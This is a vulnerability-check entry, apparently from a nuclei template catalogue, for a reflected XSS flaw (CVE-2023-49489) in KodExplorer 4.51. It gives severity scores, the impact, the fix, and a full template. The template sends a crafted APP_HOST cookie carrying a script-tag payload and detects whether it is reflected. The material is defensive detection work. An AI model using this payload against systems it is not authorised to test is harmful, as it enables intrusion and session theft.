KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the APP_HOST cookie parameter, potentially stealing user credentials or session cookies.

Fix

Update KodExplorer to a version newer than 4.51 that addresses the XSS vulnerability.

How to confirm it

Send: GET /index.php?user/login
Positive when: contains "<ScRiPt >alert(document.domain)</ScRiPt>" and "KodExplorer" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2023-49489 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-49489

info:
  name: KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)
  author: DhiyaneshDk
  severity: medium
  description: |
    Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the APP_HOST cookie parameter, potentially stealing user credentials or session cookies.
  remediation: |
    Update KodExplorer to a version newer than 4.51 that addresses the XSS vulnerability.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/526
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49489
    cwe-id: CWE-79
    epss-score: 0.0072
    epss-percentile: 0.54242
    cpe: cpe:2.3:a:kodcloud:kodexplorer:4.51:*:*:*:*:*:*:*
  metadata:
    vendor: kodcloud
    product: kodexplorer
    fofa-query: app="powered-by-kodexplorer"
  tags: cve,cve2023,kodexplorer,xss,vuln

http:
  - raw:
      - |
        GET /index.php?user/login HTTP/1.1
        Host: {{Hostname}}
        Cookie: APP_HOST={{RootURL}}/"><ScRiPt%20>alert(document.domain)</ScRiPt>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt >alert(document.domain)</ScRiPt>"
          - "KodExplorer"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

References

https://github.com/kalcaddle/KodExplorer/issues/526

Use this check only on systems you are authorised to test. Where the data comes from